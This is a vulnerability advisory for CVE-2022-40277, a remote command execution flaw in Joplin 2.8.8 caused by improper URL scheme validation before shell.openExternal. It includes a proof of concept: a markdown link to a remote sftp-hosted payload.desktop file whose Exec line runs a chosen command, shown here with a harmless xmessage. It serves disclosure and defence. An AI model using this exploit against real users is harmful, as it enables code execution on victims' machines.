



Joplin 2.8.8 – Remote Command Execution

Summary



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Affected versions	Version 2.8.8
State	Public
Release date	2022-09-26

Vulnerability

Kind	Remote command execution
Rule	<u>004. Remote command execution</u>
Remote	Yes
CVSSv3 Vector	CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
CVSSv3 Base Score	7.7
Exploit available	Yes
CVE ID(s)	<u>CVE-2022-40277</u>



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the shell.openExternal function.

Vulnerability

This vulnerability occurs due to improper scheme/protocol validation of external URLs. Here is a small example to give you a better understanding of vulnerability.

Here is a simplified pseudocode:

```
function openInternally (url) {  
  parsed_url = new URL(url)  
  if (parsed_url.protocol === "https:"){  
    if (new RegExp("application-domain.com", "i").test(parsed_url.host)) {  
      return true;  
    }  
  }  
  return false;  
}
```

JavaScript ▾

```
webContents.on("new-window", function (event, url, disposition, options) {  
  if (openInternally(url)) {  
    if ( ... [check of the tab supporting, nothing important] ... ) {  
      var newTab = createNewTab({ ... [settings] ... });  
      preventDefault(newTab);  
    } else {
```



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Basically what the application is doing is sending to `shell.openExternal(url)`, any url present in the markdown file.

Exploitation requirements

To achieve the RCE, the attacker will abuse certain schemes/protocols. Some of these only work on windows, others on MACos, others only work correctly under certain specific Linux distributions. In my case, I used Xubuntu 20.04 (Xfce) to simulate a victim. I chose this distribution because in its default configuration it executes the `payload.desktop` file after mounting the remote location where the payload file is located. In other Linux distributions by default these files are not executed once the remote location is mounted.

In the resources section I will provide you with support material so that you can understand in greater depth what I have just explained.

Exploitation

To exploit this vulnerability, you must send the following file to a user to open with Joplin:

exploit.md

```
[exploit] (sftp://user@server/uploads/payload.desktop)
```

payload.desktop

In the Exec parameter you put the command you want the victim to execute.



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Evidence of exploitation

```
root@retr02332:/var/sftp/uploads# cat payload.desktop
[Desktop Entry]
Exec=xmessage "RCE by cbelloatfluid"
Type=Application
root@retr02332:/var/sftp/uploads#
```

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- Version: Joplin 2.8.8
- Operating System: GNU/Linux - Xubuntu 20.04 (Xfce)

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.

References

Vendor page <https://github.com/laurent22/joplin>

Timeline

- ✓ 2022-09-07
Vulnerability discovered.
- ✓ 2022-09-08
Vendor contacted.
- ✓ 2022-09-26
Public Disclosure.



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